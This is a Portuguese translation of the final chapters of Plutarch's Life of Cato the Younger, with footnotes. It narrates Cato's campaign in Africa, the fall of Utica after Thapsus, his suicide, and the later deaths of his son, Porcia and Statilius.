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LXXIV. Tendo chegado à África, quando ia margeando a costa, encontrou Sexto, o mais moço dos filhos de Pompeu, que lhe contou como seu pai havia sido assassinado no Egito, pelo que todos os da tropa ficaram muito descontentes; mas não houve um que depois da morte de Pompeu, quisesse ouvir falar em receber ordens de outro senão de Catão; nessa ocasião, tendo vergonha e compaixão de falhar nas necessidades de tanta gente boa e que havia dado tão segura prova de sua fidelidade, abando nando-os sozinhos sem condutor, sem saber o que devia fazer, nem onde devia ir, e estando em país estrangeiro, levou em conta sua solicitação e abordou primeiramente na cidade de Cirena, onde foi recebido pelos habitantes, que poucos dias antes haviam fechado as portas a Labieno. Ali, teve notícias de que Cipião, sogro de Pompeu, retirara-se para junto do rei Juba, que o recebera, e sabendo que Ácio Varo, ao qual Pompeu havia comissionado o governo da província da África, estava em sua companhia com tropas, deliberou ir unir-se a eles; pôs-se a caminho por terra, porque estavam na estação do inverno, fazendo reunir bom número de burros para levar água e boa provisão de víveres e animais que fazia vir depois com carros e homens que chamam na África os psilitos (51), os quais curam as mordidas das serpentes e sugam o veneno com a boca, fascinando e encantando as próprias serpentes, de maneira que as deixa como desmaiadas e não podendo fazer mal algum. Foram sete dias inteiros de marcha contínua, servindo-lhes de guia e marchando a pé, sem jamais montar a cavalo, nem sobre outro animal de carro. Desde o dia que soube da perda da batalha de Farsáha, nunca mais jantou senão sentado (52), ajuntando isto ao resto de seu luto e jamais se deitava a não ser para dormir. Tendo passado o inverno na Líbia, pôs-se a campo com seus soldados, que não eram em número menor de dez mil, e achou que os negócios de seu lado estavam em péssimo estado devido a luta e diferença que havia entre Cipião e Varo quando os dois bajulavam o rei Juba e procuravam ganhar suas boas graças; e ele, sendo homem insuportável pela gravidade que mantinha e pela fatuidade e glória de que estava possuído por causa de suas riquezas e de seu poder, como demonstrou a primeira vez que conferenciou com Catão, pois mandou pôr sua cadeira entre a deste e a de Cipião para ter a honra de se sentar no meio. Catão, vendo isso, pegou sua cadeira e foi se pôr ao lado de Cipião para colocar este no meio, se bem que fosse seu inimigo e que tivesse escrito um livro cheio de injúrias e palavras difamatórias contra ele. Há os que não fazem caso deste fato e no entanto repreendem Catão pelo fato de, passeando um dia na Sicília, ter dado a honra do centro a Filostrato, para honrar nele a filosofia. Assim reprimiu Catão a arrogância desse rei por aquela vez, pois antes fazia de Cipião e de Varo como que seus vassalos e sátrapas; Catão, porém, reconciliou-os.

(51) Ver as Observações.

(52) Os antigos esquentavam-se e lavavam-se, depois punham-se dentro de leitos para jantar. Amyot. Não se punham dentro mas em cima.

LXXXV.Em suma, como toda a companhia o solicitasse para ficar com o comando do exército e mesmo Cipião e Varo fossem os primeiros a lho ceder, deixando-lhe voluntariamente a honra de comandar todo o campo, respondeu que não transgrediria as leis, atendendo que não guerreava a não ser pela autoridade e a conservação delas, nem fazia questão da prerrogativa de comandar, êle que era vice-pretor, quando havia um vice-cônsul; pois Cipião havia sido acostumado a tal, com o que o povo confiava que os combates sairiam bem se um Cipião comandasse dentro da África, e êle, portanto, tendo aceito o cargo de capitão-geral, quis incontinenti em favor de Juba passar todos os habitantes da cidade de Útica (53) ao fio da espada, até as criancinhas e arrasar completamente os edifícios, conseguindo o partido de César. Catão, entretanto, não quis suportar isto e gritou protestando e chamando os deuses como testemunhas no conselho e teve muito trabalho em preservar as pessoas pobres, desta cruel execução; depois, em parte pelas súplicas dos cidadãos, em parte também a instância de Cipião que lhe pediu, empreendeu guardá-la, com medo que viesse por vontade ou pela força a submeter-se a César, porque era uma praça forte e muito a propósito para todas as coisas, a quem a tomasse, Catão, provendo e fortificando-a ainda mais, pois depositou dentro uma quantidade infinita de trigo, fêz reparar as muralhas, levantar as torres, cavar profundas trincheiras à volta da cidade, com tapumes de estacas entre as trincheiras e fêz alojar os rapazes de Útica, obrigando-os a entregar suas armas e retendo outros dentro da cidade, dando ordens com grande cuidado para que nenhum deles fosse ultrajado, nem ofendido pelos romanos e ainda enviou bastante trigo, armas e dinheiro ao campo; de maneira que a cidade de Útica era como um depósito de guerra.

(53) Sobre a costa da Africa, junto ao promontório de Apolo que se acha em frente da Sardenha.

LXXVI.E como anteriormente havia aconselhado Pompeu a não dar batalha, o mesmo aconselhou a Cipião, em não se aventurar contra um homem aguerrido e entendido nos feitos de armas, mas sim aproveitar o tempo, que pouco a pouco abateria a força e vigor de sua tirania; mas Cipião foi tão presunçoso, que não fez caso de seu conselho e escreveu algumas vezes a Catão censurando sua covardia em palavras como estas: — "Que lhe deveria ser bastante o estar em segurança em uma boa cidade, fechado dentro de fortes muralhas, sem querer impedir os outros de executar corajosamente, com razão, o que sua ocasião lhes apresentasse". Ao que Catão escreveu que estava pronto a voltar à Itália com seus soldados de infantaria e da cavalaria que havia trazido à África, para desviar César e fazê-lo virar-se contra êle; mas Cipião não fêz senão zombar. Diante disso, Catão demonstrou claramente que se arrependia por lhe haver cedido a autoridade de comandante geral do exército, porque bem via que não conduziria sabiamente os combates e, se acontecesse sair vencedor, não usaria moderadamente de sua vitória para com seus concidadãos; razão por que começou desde então a ter pouca esperança no futuro dessa guerra e disse a seus familiares, que isto era devido à insuficiência e presunção dos capitães; e no entanto, se por acaso, o que de outro modo não esperava, acontecesse algum bem e César fosse derrotado, êle não ficaria nunca em Roma, mas fugiria à crueldade e desumanidade de Cipião, o qual desde logo se utilizava de ameaças graves e arrogantes contra alguns; afinal a desgraça chegou ainda mais cedo que se esperava, pois uma noite, bem tarde, chegou um mensageiro, depois de três dias de viagem, que trouxe a notícia de que tudo estava perdido, porque se havia dado uma grande batalha junto da cidade de Tapses (54), que César havia ganho e se havia apoderado dos dois campos, que Cipião e Juba haviam fugido com um pequeno número de soldados e todo o resto de seus exércitos passado ao fio da espada.

LXXVII.Essas coisas tendo ocorrido, aqueles que estavam em Útica, apavorados com a notícia, como acontece na guerra e ainda mais à noite, apenas puderam conter-se dentro das muralhas da cidade, tanto tiveram o senso e o entendimento perturbado de pavor. Catão, porém, apresentou-se a eles, aprisionou os que se encontravam pelas ruas gritando e fugindo, confortando-os o melhor que pôde; e se não lhes retirou todo o pavor, pelo menos lhes retirou o espanto e perturbação de espírito em que se achavam, dizendo-lhes que a perda não era por acaso tão grande como a faziam e que sempre foi costume aumentar as palavras das más notícias. Acalmou assim um pouco o tumulto e, de manhã, ao clarear do dia, mandou gritar que os trezentos homens que havia escolhido para seu Conselho deviam se apresentar ao templo de Júpiter, como também todos os cidadãos romanos que, pelo tráfico de mercadorias e comércio se encontravam na África e também todos os senadores romanos com seus filhos. Assim, ainda estavam se reunindo, quando ele mesmo foi descansadamente e aparentando uma constância firme, como se não tivesse acontecido nada de novo, tendo um livrinho na mão, o qual ia lendo. Esse livreto continha a situação das provisões que havia feito para a guerra, como trigo, armamento, arcos, dardos e soldados de infantaria; depois, quando todos se reuniram, começou a elogiar a afeição, a fé e a lealdade desses trezentos romanos, que com suas vidas, seu dinheiro e seu Conselho, haviam sempre utilmente servido a república e aconselhou-os a não se afastarem da reunião, perdendo a esperança ou procurando cada um os meios de se salvar à parte, porque, ficando juntos, César os desprezaria menos se quisessem guerrear, e perdoaria mais cedo se pedissem graças. Aconselhou-os, avisando o que lhes aconteceria e, quanto a êle, não reprovaria o que resolvessem, pois se sua vontade virava com a sorte, estimaria que esta mudança não procedesse senão da necessidade do tempo; mas se estavam deliberados a perseverar, combatendo a desgraça até o fim, submetendo-se a todo perigo para defender a liberdade, não somente elogiaria, mas também admiraria sua virtude e seria seu chefe e companheiro para tentar e experimentar até o último ponto a sorte de seu país, que não era Útica nem Adrumeto (55), mas a cidade de Roma, a qual, pela grandeza de seu poder, muitas vezes se levantara de quedas mais pesadas e mais graves; além disso, tinham ainda diversos meios de salvação e de segurança de suas pessoas, dos quais o maior era o que poderiam fazer com um inimigo, que na ocasião de seus combates teria que atender em diversos pontos, porque por um lado a Espanha rebelara-se contra êle em favor do jovem Pompeu e, a cidade de Roma que ainda não se acostumara com o freio e não podia sofrer, mas se sublevava diante de toda mudança, e que não era preciso fugir ao trabalho nem ao perigo, mas antes tomar o exemplo do próprio inimigo, que não poupava de modo algum sua pessoa, apesar do propósito de grandes perversidades, que havia empreendido; quando, ao contrário, para eles, a incerteza dessa guerra, se acabasse bem, terminaria numa vida feliz e, se sucedesse mal, em uma morte gloriosa. Todavia, era preciso que deliberassem, suplicando aos deuses que para recompensa da virtude e da boa vontade que haviam demonstrado até ali, fizessem a graça de resolver o que lhes parecesse melhor.

(54) Sobre a costa da Africa, à direita descendo de Cartago; quase em frente da ilha de Malta.

(55) Sobre a mesma costa que Tapses, mas um pouco acima, na altura de Malta, ao lado da pequena Leptis.

LXXVIII. Depois que Catão lhes revelou esses propósitos, houve alguns dos assistentes que se agitaram pela vivacidade de suas admoestações, mas a maioria ficou ainda mais encorajada pelo exemplo de sua generosa magnitude, vendo como se mostrava calmo e também pela sua humanidade e bondade; de tal modo que esqueceram, como se diz, todo o perigo em que estavam e pediram-lhe para se utilizar de suas pessoas, de seus bens e de suas armas, de tudo conforme lhe parecesse bem, repu-tando-o como o único capitão invencível, sobre quem a sorte não tinha poder, e estimando ser melhor morrer obedecendo seu conselho, do que salvar-se abandonando um personagem de virtude tão excelente e tão perfeita. E como alguém da assembléia sugerisse que precisavam propor a liberdade aos escravos desde que a maioria dos assistentes fosse da mesma opinião, Catão disse que não o faria porque não era nem justo, nem razoável; mas se os senhores quisessem libertá-los, ficaria satisfeito em receber como soldados aqueles que estivessem em idade de trazer armas. Houve vários que prometeram fazê-lo, e êle ordenou que arrolassem os nomes dos que queriam e foi-se.

LXXIX. Logo após, chegaram cartas do rei Juba e de Cipião, nas quais se referia que Juba estava escondido em uma montanha com poucos soldados e mandava perguntar-lhe o que havia resolvido fazer, porque, se havia deliberado abandonar Útica, ele o esperaria, e se deliberava mantê-la, viria socorrê-lo com um exército; Cipião estava acampado em um local não longe de Útica, do mesmo modo esperava qual a resolução que tomaria. Catão achou melhor reter os mensageiros que trouxeram as cartas, até que ficasse resolvido o que desejavam fazer os trezentos, porque os que faziam parte do Senado romano mostraram-se bem deliberados: libertaram incontinenti seus escravos e entregaram-lhes armas. Mas os outros trezentos, mercadores traficantes do mar e exercendo o empréstimo e a usura, que tinham a maior parte de suas posses em escravos, não retiveram por muito tempo as belas admoestações de Catão, mas as deixaram escoar imediatamente, como corpos que recebem facilmente o calor e perdem-no também depressa, resfriando-se logo que se afastam do fogo. Assim, aqueles mercadores enquanto tinham Catão diante de seus olhos, agitavam-se e esquentavam-se um pouco; mas quando à parte, contando consigo somente, o medo que tinham de César os fazia esquecer todo o respeito que devotavam a Catão e ao seu dever. "Pois quem somos (diziam eles) e quem é aquele que desdenhamos obedecer? Não é César em cuja mão está hoje reduzido todo o poder do império romano? E com relação a nós, não há um que seja um Cipião, nem um Pompeu, nem um Catão; e todavia neste tempo em que todo o mundo se sobre com o véu do receio, mantendo-se ainda mais abaixo do que deveria, queremos empreender um combate dentro de Útica pela liberdade dos romanos, de encontro àquele do qual Catão mesmo fugiu com Pompeu, abandonando a Itália e liber-tando nossos escravos para guerrear César, nao tendo nós mesmos mais liberdade, do que lhe apraza em nos deixar. Reconheçamos portanto, enquanto é tempo ainda, e peçamos graça àquele que é o mais forte, mandando à sua presença solicitar que nos perdoe". Os mais honestos desses trezentos mercadores romanos mantinham esse ponto de vista; mas a maioria dentre eles aguardava os meios de se apoderar das pessoas daqueles que estavam no Senado, julgando melhor fazer acordo com César, entregando-os em suas mãos.

LXXX.Catão desconfiou imediatamente dessa.mudança, mas não quis esmiuçar, nem verificar mais detalhadamente os fatos e enviou mensageiros a Juba e a Cipião, pelos quais ordenou-lhes que se afastassem de Útica, por causa desses trezentos. Ora, havia escapado da batalha bom número de soldados da cavalaria, que se apresentaram diante de Útica, e enviaram três dentre eles a Catão, os quais levaram resoluções diferentes da tropa, porque uns queriam ir para o lugar onde se achava o rei Juba, outros desejavam unir-se a Catão e outros ainda receavam apenas entrar dentro de Útica. Ouvindo isso, Catão encarregou Marcos Rúbrio de pôr os olhos sobre esses trezentos e receber os nomes dos escravos que libertariam voluntariamente sem serem forçados por ninguém; enquanto isso, saiu de Útica com os senadores e foi à presença desses soldados da cavalaria, onde falou com os capitães, pedindo-lhes para não abandonarem tantas pessoas de bem como os senadores romanos que ali se achavam e que não escolhessem como seu capitão o rei Juba, porém, Catão. Deviam entrar em Útica, onde poderiam salvar os demais, e também a si próprios, atendendo que a cidade não podia ser tomada à força e que tinha provisão de trigo e de mais suprimentos para vários anos. A mesma coisa solicitaram os outros senadores com lágrimas nos olhos; nessa ocasião, os capitães foram falar com os seus soldados e, enquanto conferenciavam, Catão assentou-se com os senadores em terreno elevado esperando a resposta; mas, nesse ínterim, chegou diante dele Rúbrio, todo agitado, queixando-se de um tumulto e desordem que os trezentos mercadores estavam promovendo, amotinando e fazendo rebelar a cidade; por essa razão os outros, perdendo toda a coragem e esperança, puseram-se a chorar e lamentar sua sorte; porém, Catão tentou reconfortá-los, e mandou pedir aos trezentos que tivessem ainda um pouco de paciência; enquanto isso, os portadores dos soldados da cavalaria vieram trazer sua resposta, os quais queriam demais, pois disseram que não tinham o que fazer com o soldo de Juba e que não receavam César, contanto que tivessem Catão como chefe; mas que lhes parecia não ter propósito o fecharem-se dentro de uma cidade com os habitantes, que por sua origem eram fenícios, a nação mais mutável e mais desleal que há no mundo. "Pois ainda, diziam eles, que nesta hora não apresentem mudança em seus propósitos, quando César chegar, eles serão os primeiros que perseguiremos por nos terem traído; portanto, se Catão quisesse que eles se unissem a êle para guerrear, era preciso expulsar todos os habitantes naturais de Útica para fora da cidade ou que os fizesse morrer a todos e então entrariam quando ela estivesse vazia dos inimigos e dos bárbaros". Catão considerou isto muito cruel; todavia, replicou que se comunicaria com os trezentos e, voltando à cidade, falou com eles, os quais não se utilizaram mais de disfarces, nem quiseram mais protelar a situação por causa de Catão, mas declararam abertamente que se revoltariam contra os que estivessem apressados a guerrear César, atendendo que não queriam nem podiam fazê-lo; e houve mesmo alguns que murmuraram entre dentes que era preciso reter na cidade os senadores até que César tivesse chegado.

LXXXI. Catão não demonstrou ter ouvido, pois também era um pouco surdo. Nesse ponto, alguém lhe veio dizer que os soldados da cavalaria estavam partindo; temendo então que os trezentos pusessem as mãos sobre os senadores e vendo-os já distanciados, montou a cavalo e galopou atrás deles, os quais ficaram bem à vontade quando o viram, e receberam-no em seu meio, aconselhando-o a que se salvasse com eles. Catão, entretanto, pediu-lhes para salvar os senadores, tão afetuosamente, que as lágrimas, ao que dizem, vinham-lhe aos olhos ao estender-lhes as mãos e, segurando seus cavalos pelas rédeas e pegando em suas armas, tanto fez, que afinal conseguiu que ficassem pelo menos ainda um dia para dar oportunidade aos do Senado de se porem a salvo. Voltando, portanto, com eles, à cidade, ordenou a uns guardarem as portas e colocou outros em guarnição dentro da fortaleza; os trezentos, na hora, ficaram com medo, pensando que fosse para castigá-los porque haviam debandado. Mandaram suplicar a Catão para voltar à presença deles; mas os senadores, envolvendo-o, não o deixaram ir, dizendo que não abandonavam seu protetor e salvador nas mãos de traidores desleais. Na verdade, todos os que se encontravam dentro de Útica, de qualquer partido, igualmente conheciam e admiravam a verdadeira virtude que existia em Catão e tinham provas de que não havia nada de fingido em tudo o que fazia, mas tendo de longa data resolvido matar-se a si mesmo, preocupava-se e trabalhava com grande solicitude pelos outros, a fim de que depois de haver posto em segurança suas vidas, apressasse ele mesmo a sua morte; pois era fácil ver que havia resolvido morrer, ainda que exteriormente não demonstrasse nenhum sinal de coração dorido e aflito.

LXXXII. Resolvendo submeter-se à soliei-tação dos trezentos, depois de ter reconfortado os senadores, foi sozinho à presença deles, os quais lhe agradeceram por ter se dignado vir e suplicaram-lhe que se servisse deles e confiasse corajosamente em lòdas as coisas, e também os perdoasse, pois não podiam ser todos Catões, e que tivesse compaixão de sua fraqueza de coração, se não eram tão firmes nem tão generosos como êle, porque haviam deliberado mandar a César suplicar-lhe primeira e principalmente por êle, e quando não pudessem obter essa graça, estavam resolvidos a não a receber para si mesmos, mas sim combater por sua salvação até o último suspiro. Catão respondeu que lhes ficava agradecido pela boa afeição que demonstravam ter para com êle e que era preciso mandar rapidamente suplicar pela salvação deles, mas que pela sua não era preciso pedir, porque — o que têm a fazer os que são vencidos senão solicitar, e os que erraram pedir perdão? Quanto a êle, tinha sido em toda a sua vida não somente invencível, mas havia vencido tanto como quisera e tinha sido sempre mais poderoso do que César no direito e na justiça, e no entanto era êle mesmo que agora estava vencido e preso, porque o que sempre havia negado tramar

contra a república, estava então verificado e provado contra êle. Tendo dado tal resposta a esses trezentos, separou-se deles.

LXXXIII. Ouvindo que César já estava a caminho com todo seu exército para ir a Útica: "Ó (56) deuses, disse êle, vem então contra nós, como contra homens!" E então, voltando-se para os senadores, aconselhou-os a não esperar mais, porém, que cada um se salvasse, enquanto os soldados da cavalaria estavam ainda na cidade. Fêz fechar todas as outras portas, exceto aquela que dava para o porto, depois distribuiu barcos e navios aos que estavam sob seu comando, provendo para que tudo andasse em ordem e que não houvesse tumulto, nem confusão, que não se causasse dano a ninguém e que cada um tivesse dinheiro e meios para poder salvar-se. Mas, como Marcos Otávio, que comandava duas legiões, tendo vindo acampar muito perto de Útica, tivesse mandado a êle para saber a quem e até onde cada um deles teria autoridade de comandar, Catão nada respondeu a isto; mas, virando-se para os seus amigos, disse-lhes: — "É para admirar se, depois de tudo perdido e acabado ainda vemos, no meio da morte, a ambição e cobiça de dominar reinando entre nós?" Nesse ínterim, vieram dizer-lhe que os soldados da cavalaria, querendo partir, já pilhavam e saqueavam os bens dos habitantes de Útica, como presa de guerra. Catão saiu correndo na mesma hora e aos primeiros que encontrou, retirou-lhes das mãos o que haviam tirado; os outros, antes que viesse até eles, jogaram o que levavam e, de cabeça baixa olhando para o chão, envergonhados, foram-se sem dizer palavra. Então Catão fez reunir os habitantes naturais de Útica, e pediu-lhes para não irritar César contra os trezentos, mas antes tentar obter o perdão dele para todos juntos; depois, indo depressa à praia, viu partir aqueles que embarcavam abraçando e dizendo adeus a todos os seus hóspedes e amigos aos quais havia aconselhado a se salvarem, e acompanhando-os até dentro de seus navios. Quanto ao seu filho, não o persuadiu a ir, nem considerou que devesse constrangê-lo a abandonar seu pai.

(56) Leia-se: "Certamente, disse, êle vem contra nós como contra homens!"

LXXXIV.Havia em sua companhia um homem chamado Estatílio, muito moço ainda, mas de coragem firme, que se propusera imitar a constância inflexível de Catão, ao qual aconselhou a embarcar com os outros, porque sabia muito bem que odiava de morte a César. O rapaz não quis atender; pelo que Catão, virando-se para Apolônides, filósofo da seita estóica, e para Demétrio, da seita dos peripatéticos, disse: — "Cabe a vós outros amolecer e abrandar esse jovem, que vedes assim inchado e, fazê-lo, por vossas admoestações, agir em seu proveito". Continuou depois a dirigir todos os outros, dava razão aos que lhe solicitavam justiça e ordenava seus negócios, de sorte que passou nisto toda aquela noite e o dia seguinte. Isto feito, Lúcio César, parente do vitorioso, sendo comissionado pelos trezentos para ir perante César interceder por todos, pediu a Catão para ajudá-lo a preparar o discurso do qual devia se utilizar por eles: — "Pois por ti, Catão, disse êle, não deixarei de beijar-lhe as mãos e atirar-me de joelhos se fôr preciso, a fim de que te perdoe". Catão respondeu-lhe que não queria que o fizesse: — "Pois se quisesse salvar minha vida pela graça de César, não era preciso senão que eu fosse a êle; mas eu não quero ser agradecido a um tirano por uma injustiça; pois é de fato injustiça, usurpar o direito de salvar a vida, como senhor daqueles que não tem nenhum direito de comandar; mas combinemos juntos, se queres, o que tu dirás para impetrar graça para esses trezentos". Ficaram algum tempo juntos conversando, e afinal, quando ia partir, Catão recomendou-lhe seu filho e seus amigos; e, abraçando-o, despediu-se dele, voltando para sua casa, onde fêz reunir seu filho, seus familiares e amigos, com os quais manteve diversas conversas e, entre outras, dissuadiu seu filho de se intrometer jamais no governo, porque por pertencer à dignidade de um filho de Catão, as circunstâncias do tempo e dos negócios não o permitiam, e fazê-lo de outro modo não seria honesto. À noite, entrou na estufa para se banhar e enquanto isto, lembrando-se de Estatílio, gritou bem alto: — "E então, Apolônides, fizestes afinal Estatílio partir e baixar sua altivez? E partiu sem despedir-se de mim?" "O que? Partiu? respondeu Apolônides, êle tem 0 coração maior e mais firme do que nunca e é impossível fazê-lo vergar, embora tenhamos conversado e discutido juntos durante muito tempo; afirmou resolutamente que fará tudo como se estivesse em teu lugar".

LXXXV.Depois do banho sentou-se à mesa como estava habituado, desde a jornada de 1’arsália, pois não se deitou nunca mais, senão para dormir; jantou em companhia de todos os seus amigos e das autoridades da cidade de Útica; após o jantar foram discutidos vários assuntos e feitos diversos, assim como belos discursos de filosofia, até que a discussão veio a cair finalmente nos pontos comuns das opiniões estranhas que adotam os filósofos estoicos, como: — "Que não há sábio e homem de bem que seja franco e livre, e que todos os maus são servos e escravos". A isto, o filósofo peripatético que ali se encontrava, não deixou logo de contradizer; porém, Catão, tomando a palavra com uma grande veemência e com uma voz mais áspera e mais forte do que a de costume, continuou a discussão durante muito tempo e contestou maravilhosamente, de modo que não houve na reunião quem não compreendesse evidentemente que êle estava de fato resolvido a retirar-se das misérias deste imundo, pondo fim à sua vida; nessa ocasião, quando parou de falar, vendo que todos os assistentes se calavam e tinham a fisionomia triste, para reconfortá-los e distraí-los daquela desconfiança, começou logo a perguntar sobre negócios e demonstrar cuidado e solicitude, como se estivesse temeroso de que não tivessem sorte aqueles que haviam subido ao mar e também os que haviam tomado o caminho da terra e tinham que passar por regiões desertas, selvagens, onde não existia água.

LXXXVl.Assim, tendo os convivas do jantar se despedido, passeou ainda com seus amigos, como estava acostumado depois do jantar e, tendo ordenado aos capitães de vigia o que precisavam fazer, quando quis retirar-se para seu quarto, então abraçou seu filho e agradou-o com todos os seus amigos, uns depois dos outros, mais amavelmente do que estava habituado a fazer, o que os fez suspeitar do que estaria planejando. Tendo entrado em seu quarto e se deitado em seu leito, tomou numa das mãos os diálogos de Platão, na parte que se refere à alma, lendo-a; depois, olhando para a cabeceira, não viu a espada, porque seu filho a havia feito retirar quando ainda estavam à mesa. Chamou um seu criado de quarto e perguntou-lhe quem havia retirado sua espada; o criado não lhe respondeu e ele continuou a ler seu livro; mas, pouco depois, sem apressar de modo nenhum, nem demonstrar que tivesse muita pressa, mas apenas desejar saber o que acontecera, ordenou que lha trouxessem. Passou-se bastante tempo, de sorte que acabou de ler completamente todo o livro sem que pessoa alguma lhe trouxesse sua espada; chamou então todos os seus servidores, uns após outros e começou a dizer-lhes rudes palavras, pedindo-lhes novamente a espada, chegando até a dar no rosto dos criados um soco tão forte que ensanguentou a mão, enfurecendo-se e gritando que seu próprio filho e seus servidores queriam entregá-lo vivo ao inimigo; o filho, chorando, acorreu acompanhado dos amigos e todos se atiraram aos seus pés e puseram-se a lamentar e a suplicar.

LXXXVII.Catão, levantando-se do leito, olhou-os com um olhar terrível e disse: — "Deuses, quando e onde foi que me vistes com o juízo perturbado? Por que me advertem dessa forma, como se eu tivesse dado a alguém conselho que não seja bom, sem ter feito uso de minha razão e de meu bom senso? E, entretanto, me impedem agora de conformar minha conduta aos meus próprios sentimentos e me desarmam. Por que não atas teu pai, meu amigo, e não lhe amarras as mãos atrás das costas até que César, chegando, me encontre sem meios de poder me defender? Pois contra mim mesmo não tenho necessidade de espada para me desfazer, se quiser, levando em conta que me é apenas necessário reter um pouco minha respiração ou então dar uma única cabeçada contra a muralha para me matar". Assim que disse estas palavras, seu filho saiu do quarto chorando e também todos os outros seus amigos, ficando somente Demétrio e Apolônides com êle, aos quais, falando mais delicadamente, disse: — "Sois vós, também de opinião que se deve reter com vida, à força, um homem idoso como eu? Não ficastes aqui para vos manter sentados sem falar, nem fazer outra coisa senão para me guardar? Ou viestes trazer algumas razões e argumentos para me dar a compreender que não é indigno, nem desonesto para Catão, não tendo outro meio para salvar sua vida, esperar descansadamente e salvar-se pela graça de seu inimigo? Por que não alegais agora algumas razões para me mostrar isto, a fim de que, rejeitando as outras opiniões e razoes preservadas até aqui, tornadas subitamente mais sábias por meio de César, sejamos obrigados a lhe render graças? Todavia, eu não disse isto porque resolvi alguma coisa de minha vida, mas de modo algum consultarei e resolverei convosco, quando deliberarei com os livros e a razão, dos quais vós mesmos vos utilizais quando quereis filosofar; portanto, ide embora corajosamente e dizei a meu filho que não queira forçar seu pai ao que êle não saberia provar pela razão o que devia fazer".

LXXXVIII.Ouvidas essas palavras, Demétrio, sem lhe responder, saiu chorando do quarto e então enviou sua espada por um menino; quando a tomou e desembainhou, olhou se a ponta estava bem aguçada e o fio bem cortante. Isto verificado, então: — "Agora, disse ele, sou meu". Colocou-a junto de si e retomou ainda o livro, que leu por duas vezes, do começo ao fim; depois dormiu um sono muito profundo, de tal modo que os que estavam fora do quarto ouviram-no ressonar. Aproximadamente à meia-noite, chamou dois de seus libertos, Cleantes seu médico, e Butas aquele do qual mais se servia nos negócios do estado, enviando-o ao porto para ver se todos os que haviam embarcado, se tinham feito à vela; entregou sua mão ao médico para enfaixá-la, por estar inflamada por causa do soco que havia dado em um dos escravos. Isto alegrou todos os de sua família, pensando que isto fosse sinal de que ainda tivesse desejo de viver. Pouco depois voltou Butas, que lhe disse terem todos embarcado, exceto Crasso, que ficara ainda devido a algum negócio e ia embarcar, mas que fazia um grande vento e havia forte tormenta no mar. Tendo ouvido esse comentário, pôs-se a suspirar de compaixão por aqueles que haviam ido por mar e tornou a enviar urgentemente Butas para ver se alguns tinham desistido, e se houvesse necessidade de alguma coisa para vir lhe falar. Os passarinhos já começavam a cantar e ele dormiu um leve sono; mas, logo voltou Butas para lhe dizer que não havia rumor algum sobre o porto. Catão disse-lhe que fosse embora portanto, e que fechasse a porta atrás de si, engolfando-se dentro de seu leito, como para dormir o que restava ainda da noite; mas, logo que Butas virou as costas, desembainhou sua espada e deu um golpe no estômago; todavia, devido ao ferimento da mão, não pôde dar tão grande golpe que morresse logo; mas, esticando, caiu do leito, o que fez barulho, porque virou uma mesa geométrica que estava junto da cama, de tal modo que seus servidores, ouvindo o ruído, gritaram imediatamente e tão logo seu filho e seus amigos entraram no quarto, acharam-no todo ensangüentado e a maior parte de seus intestinos saindo fora do corpo, se bem que estivesse ainda com vida e os olhasse. Ficaram de tal modo repassados de dor, que não souberam à primeira vista o que dizer, nem o que fazer; mas seu médico, aproximando-se, quis tentar repor os intestinos e costurar a ferida; mas, voltando um pouco a si do desmaio, afastou para trás o médico e, rasgando os intestinos com suas próprias mãos, abriu ainda mais a ferida, de tal modo que naquele momento mesmo rendeu o espírito.

LXXXIX.E em menos tempo do que se julgava poderem só os da casa saberem do acontecido, os trezentos romanos acorreram à porta de sua residência e imediatamente aí se reuniu também todo o povo da cidade; todos a uma voz chamaram-no seu benfeitor e seu salvador, denominando-o o único homem livre e invencível; o que faziam ainda quando tiveram notícias de que César se aproximava mais de Útica, e no entanto não houve, nem receio do perigo, nem desejo de adular o vencedor, nem diferença ou inimizade em comum, que os preservasse de prestar honra à memória de Catão; ornando, porém, seu corpo magnificamente, fazendo-lhe o funeral o mais honroso que puderam, inumaram-no sobre a praia, onde ainda hoje há uma estátua sua tendo uma espada na mão; depois de feito isto, procuraram salvar-se, e a sua cidade. César, tendo notícias pelos que iam a ele, que Catão não saía de Útica e não fugia, porém, ajudava todos, os outros a sair e, que êle, seu filho e seus amigos ficavam, sem demonstrar receio de nada, não podendo imaginar qual era sua deliberação e porque tinha empenho, apressou-se com todo o seu exército, com a maior diligência que podia; quando recebeu a notícia de que Catão se destruirá a si próprio, escrevem que pronunciou apenas estas palavras: — "Invejo a glória de tua morte, Catão, pois que me invejaste a glória de poder salvar tua vida". Pois em verdade, se Catão tivesse suportado que César lhe salvasse a vida, não teria diminuído tanto sua glória, mas aumentado a de César; todavia, quanto ao que teria feito, não se sabe dizer com certeza, apenas conjecturas. Catão morreu com a idade de quarenta e oito anos.

XC.E quanto ao seu filho, César não lhe causou nenhum desgosto; mas dizem que foi homem de pouco valor e desordenado com as mulheres; pois estando alojado na Capadócia, em casa de um senhor do país, de sangue real, chamado Mafradates, o qual possuía uma bela mulher, ficou ah muito mais tempo do que o devido, o que deu motivo para ser criticado, de sorte que escreveram dele por zombaria: — "Catão partirá amanhã dentro de trinta dias", ou "Mafradates e Pórcio são dois bons amigos, não têm senão uma alma"; porque esta mulher de Mafradates chamava-se Psique, que significa em linguagem grega, alma. E: — "Catão é generoso e magnânimo, tem alma real". Todavia extinguiu-se e amorteceu toda esta infâmia com sua morte, ao combater virtuosamente contra Augusto e contra Antônio, na jornada de Filipos, pela liberdade; quando, sendo seu exército posto em fuga não quis fugir nem se esconder, mas jogando-se através dos inimigos, deu a conhecer muito bem quem era, dando coragem àqueles de seu batalhão, que ainda combatiam, tanto que foi morto no local, deixando em seus adversários, grande admiração por seu valor e virtude. E ainda mais, Pórcia, a filha de Catão, que não foi inferior a seu pai, nem em castidade, nem em grandeza de coragem, pois sendo casada com Bruto, que matou César, foi participante da conjuração e também eliminou a vida magnânimamente como competia à virtude e ao nobre sangue de que descendia, assim como escrevemos mais minuciosamente na Vida de Bruto. E Estatílio, o qual havia dito que faria tudo o que Catão fizesse, foi impedido de se matar pelos filósofos, dos quais falamos acima; porém, daí em diante, tendo se mostrado muito fiel e muito útil a Bruto em todos os seus combates, foi também morto no campo de batalha de Filipos.

Tradução: Prof. Carlos Chaves. Fonte: Edameris.

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